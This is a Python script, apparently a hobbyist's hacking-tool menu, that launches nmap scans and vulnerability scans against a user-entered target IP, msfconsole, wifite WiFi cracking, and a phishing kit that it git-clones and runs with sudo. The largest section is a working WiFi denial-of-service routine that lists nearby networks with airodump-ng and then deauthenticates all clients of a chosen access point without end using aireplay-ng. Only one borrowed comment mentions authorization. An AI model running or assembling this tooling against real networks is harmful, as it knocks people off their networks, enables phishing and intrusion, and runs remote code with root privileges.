import os

q=input('                       PRESS [y]\n')
l=input('do u want to upgrade & update ur system ? [y/n]')
if l=='n':
    pass
if l=='y':
    os.system('sudo apt-get update && sudo apt-get upgrade')
def fish():
    print('******************WELCOME HACKER*****************')
    print('*************************************************\n')
    h=input('                 the script will install a powerfull phishing tool. ALLOW? [y/n]')   
    if h=='n':
        exit()

    if h=='y':
        d=input('ARE YOU USING LINUX OR TERMUX app ? [l/t]')
        if d=='t':
            
            os.system('git clone https://github.com/Ignitetch/AdvPhishing.git')
            os.system('cd AdvPhishing/')
            os.system('cd AdvPhishing')
            os.system('chmod 777 *')
            os.system('sudo ./AdvPhishing.sh')

        if d=='l':
            
            os.system('git clone https://github.com/Ignitetch/AdvPhishing.git')
            os.system('cd AdvPhishing/')
            os.system('cd AdvPhishing')
            os.system('chmod 777 *')
            os.system('sudo ./AdvPhishing.sh')



def wifi():
    print('for this u nedd a pc ')
    p=input('**********DO U HAVE A PC [y/n]?****************')
    if p=='y':
        print('********XD*******')
        print('////////////DONT FORGET TO ENABLE MONITOR MODE AFTER FINISHING//////////')
        print('        comand : sudo airmon-ng stop wlan0mon         ')
        k=input('        OK ? [o/n]      ')
        if k=='o':
            pass
        if k=='n':
            exit()
    if p=='n':
        print("*******SORRY U CANT USE THE HACKING TOOL WITHOUT A PC************")
        exit()
    l=input('do u have wifite or u want to installed ?[h/i]')
    if l=='h':
        os.system('sudo wifite')
    if l=='i':
        os.system('git clone https://github.com/derv82/wifite2.git')
        os.system('cd wifite2')
        os.system('sudo wifite')


def nmaplib():
    print('***********************welcome HACKER ********************************\n')
    print('***********************network scanner************************************')
    print('')
    print('')
    b=input(' DO U HAVE NMAP OR U WANT TO INSTALL IT [h/i]?')
    if b=='i':
        os.system('sudo apt-get install nmap && sudo apt-get install arp-scan')
    if b=='h':
        print('')
        print('**************XD CONTINUE ***************')
    
    p=input('[1]- ARP scan(discover devices on network)\n[2]- Agressive scan + open ports\n[3]- Intense scan \n[4]- OS discover\n[5]- IP protocol scan\n[6]- Ping scan (identify live hosts)\n[7]- Advanced scan ')
    if p=='1':
        os.system('sudo arp-scan -l')
    if p=='2':
       ip=input('==> ENTER THE TARGET IP ADDRESS : ')
       f='sudo nmap -A '
       s=f+ip
       os.system(s)
    if p=='3':
        ip=input('==> ENTER TARGET IP ADDRESS :  ')
        f='sudo nmap -T4 -A -v   '
        s=f+ip
        os.system(s)
    if p=='4':
        ip=input('==> ENTER TARGET IP ADDRESS :  ')
        f='sudo nmap -o -A     '
        s=f+ip
        os.system(s)
    if p=='5':
        ip=input('==> ENTER TARGET IP ADDRESS :  ')
        f='sudo nmap -sO '
        s=f+ip
        os.system(s)

    if p=='6':
        ip=input('==> ENTER TARGET IP ADDRESS :  ')
        f='sudo nmap -sP '
        s=f+ip
        os.system(s)
        
    if p=='7':
        ip=input('==> ENTER TARGET IP ADDRESS :  ')
        f='sudo nmap -vv '
        s=f+ip
        os.system(s)

def vulnscan():
    print('***********************welcome HACKER ******************************************\n')
    print('********************Vulnrebility scanner****************************************')
    os.system('git clone https://github.com/vulnersCom/nmap-vulners.git')
    ip=input(b'==> ENTER THE TARGET IP : ')
    f='sudo nmap -v --script vulners  '
    s=f+ip
    os.system(s)
 
def dos():
     # isclaimer: This script is for educational purposes only.  Do not use against any network that you don't own or have authorization to test.

# We will be using the subprocess module to run commands on Kali Linux.
    import subprocess
# We will require regular expressions.
    import re
# We want to open the CSV files generated by airmon-ng, and we'll use the built-in csv module.
    import csv
# We want to import os because we want to check for sudo
    import os
# We want to use time.sleep()
    import time
# We want to move .csv files in the folder if we found any. We'll use shutil for that.
    import shutil
# Create a timestamp for .csv filename
    from datetime import datetime

# We declare an empty list where all active wireless networks will be saved to.
    active_wireless_networks = []

# We use this function to test if the ESSID is already in the list file. 
# If so we return False so we don't add it again.
# If it is not in the lst we return True which will instruct the elif 
# statement to add it to the lst.
    def check_for_essid(essid, lst):
        check_status = True

    # If no ESSIDs in list add the row
        if len(lst) == 0:
            return check_status

    # This will only run if there are wireless access points in the list.
        for item in lst:
        # If True don't add to list. False will add it to list
            if essid in item["ESSID"]:
                check_status = False

        return check_status


    print("\n****************************************************************")


# If the user doesn't run the program with super user privileges, don't allow them to continue.
    if not 'SUDO_UID' in os.environ.keys():
        print("Try running this program with sudo.")
        

# Move all .csv files in the directory to a backup folder.
    for file_name in os.listdir():
    # We should only have one csv file as we delete them from the folder every time we run the program.
        if ".csv" in file_name:
            print("There shouldn't be any .csv files in your directory. We found .csv files in your directory.")
        # We get the current working directory.
            directory = os.getcwd()
            try:
            # We make a new directory called /backup
                os.mkdir(directory + "/backup/")
            except:
                print("Backup folder exists.")
        # Create a timestamp
            timestamp = datetime.now()
        # We copy any .csv files in the folder to the backup folder.
            shutil.move(file_name, directory + "/backup/" + str(timestamp) + "-" + file_name)

# Regex to find wireless interfaces, we're making the assumption they will all be wlan0 or higher.
    wlan_pattern = re.compile("^wlan[0-9]+")

# Python allows is to run system commands by using a function provided by the subprocess module. 
# subprocess.run(<list of command line arguments goes here>, <specify if you want the capture_output to be True>)
# We want to capture the output. The output will be in standard UTF-8 and will decode it.
# The script is the parent process and creates a child process which runs the system command, and will only continue once the child process has completed.
# We run the iwconfig command to look for wireless interfaces.
    check_wifi_result = wlan_pattern.findall(subprocess.run(["iwconfig"], capture_output=True).stdout.decode())

# No WiFi Adapter connected.
    if len(check_wifi_result) == 0:
        print("Please connect a WiFi controller and try again.")
        exit()

# Menu to select WiFi interface from
    print("The following WiFi interfaces are available:")
    for index, item in enumerate(check_wifi_result):
        print(f"{index} - {item}")

# Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from.
    while True:
        wifi_interface_choice = input("Please select the interface you want to use for the attack: ")
        try:
            if check_wifi_result[int(wifi_interface_choice)]:
                break
        except:
            print("Please enter a number that corresponds with the choices.")

# For easy reference we call the picked interface hacknic
    hacknic = check_wifi_result[int(wifi_interface_choice)]

# Kill conflicting WiFi processses
    print("WiFi adapter connected!\nNow let's kill conflicting processes:")

# subprocess.run(<list of command line arguments goes here>)
# The script is the parent process and creates a child process which runs the system command, and will only continue once the child process has completed.
# We run the iwconfig command to look for wireless interfaces.
# Killing all conflicting processes using airmon-ng
    kill_confilict_processes =  subprocess.run(["sudo", "airmon-ng", "check", "kill"])

# Put wireless in Monitored mode
    print("Putting Wifi adapter into monitored mode:")
    put_in_monitored_mode = subprocess.run(["sudo", "airmon-ng", "start", hacknic])

# subprocess.Popen(<list of command line arguments goes here>)
# The Popen method opens a pipe from a command. The output is an open file that can be accessed by other programs.
# We run the iwconfig command to look for wireless interfaces.
# Discover access points
    discover_access_points = subprocess.Popen(["sudo", "airodump-ng","-w" ,"file","--write-interval", "1","--output-format", "csv", check_wifi_result[0] + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

# Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c.
    try:
        while True:
        # We want to clear the screen before we print the network interfaces.
            subprocess.call("clear", shell=True)
            for file_name in os.listdir():
                # We should only have one csv file as we backup all previous csv files from the folder every time we run the program. 
                # The following list contains the field names for the csv entries.
                    fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key']
                    if ".csv" in file_name:
                        with open(file_name) as csv_h:
                        # We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. 
                        # This creates a list of dictionaries with the keys as specified in the fieldnames.
                            csv_h.seek(0)
                            csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames)
                            for row in csv_reader:
                                
                                if row["BSSID"] == "BSSID":
                                    pass
                                elif row["BSSID"] == "Station MAC":
                                    break
                                elif check_for_essid(row["ESSID"], active_wireless_networks):
                                    active_wireless_networks.append(row)

            print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n")
            print("No |\tBSSID              |\tChannel|\tESSID                         |")
            print("___|\t___________________|\t_______|\t______________________________|")
            for index, item in enumerate(active_wireless_networks):
            # We're using the print statement with an f-string. 
            # F-strings are a more intuitive way to include variables when printing strings, 
            # rather than ugly concatenations.
                print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}")
        # We make the script sleep for 1 second before loading the updated list.
            time.sleep(1)

    except KeyboardInterrupt:
        print("\nReady to make choice.")

# Ensure that the input choice is valid.
    while True:
        choice = input("Please select a choice from above: ")
        try:
            if active_wireless_networks[int(choice)]:
                break
        except:
            print("Please try again.")

# To make it easier to work with we assign the results to variables.
    hackbssid = active_wireless_networks[int(choice)]["BSSID"]
    hackchannel = active_wireless_networks[int(choice)]["channel"].strip()

# Change to the channel we want to perform the DOS attack on. 
# Monitoring takes place on a different channel and we need to set it to that channel. 
    subprocess.run(["airmon-ng", "start", hacknic + "mon", hackchannel])

# Deauthenticate clients. We run it with Popen and we send the output to subprocess.DEVNULL and the errors to subprocess.DEVNULL. We will thus run deauthenticate in the background.
    subprocess.Popen(["aireplay-ng", "--deauth", "0", "-a", hackbssid, check_wifi_result[int(wifi_interface_choice)] + "mon"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 

# We run an infinite loop which you can quit by presses ctrl-c. The deauthentication will stop when we stop the script.
    try:
        while True:
            print("Deauthenticating clients, press ctrl-c to stop")
    except KeyboardInterrupt:
        print("Stop monitoring mode")
    # We run a subprocess.run command where we stop monitoring mode on the network adapter.
        subprocess.run(["airmon-ng", "stop", hacknic + "mon"])
        print("Thank you! Exiting now")


def yasso_main():
                      
    print('***********************STARTING************************')
    print('*******************************************************')
    print('*******************************************************')

    print('''__   __ _    ____ ____   ___    _  _____ ____  ____ ___ _____ 
\ \ / // \  / ___/ ___| / _ \  | |/ /_ _|  _ \|  _ \_ _| ____|
 \ V // _ \ \___ \___ \| | | | | ' / | || | | | | | | ||  _|  
  | |/ ___ \ ___) |__) | |_| | | . \ | || |_| | |_| | || |___ 
  |_/_/   \_\____/____/ \___/  |_|\_\___|____/|____/___|_____|
                                                              
 
     
                                                      
                                                    \n''')
    print('**************************************RAMADAN EDITION*********************')
    print('**************************************************************************')
    print('***************************************************************by yasso*****\n')
    n=(input('[0]- EXIT \n[1]- network scanner\n[2]- vulnerability detection\n[3]- Exploit(msf)\n[4]- Wifi attack\n[5]- Denial of service attack\n[6]- Phishing attack\n[!]-enter a number Professional H4ck3r ("/) :'))
    if n=='1':
        nmaplib()
    if n=='2':
        vulnscan()
    if n=='3':
        os.system('msfconsole')
    if n=='4':
       wifi()        
    if n=='5':
        dos()
    if n=='6':
       fish()
    if n=='0':
        exit()
if q=='y':
    yasso_main()
        










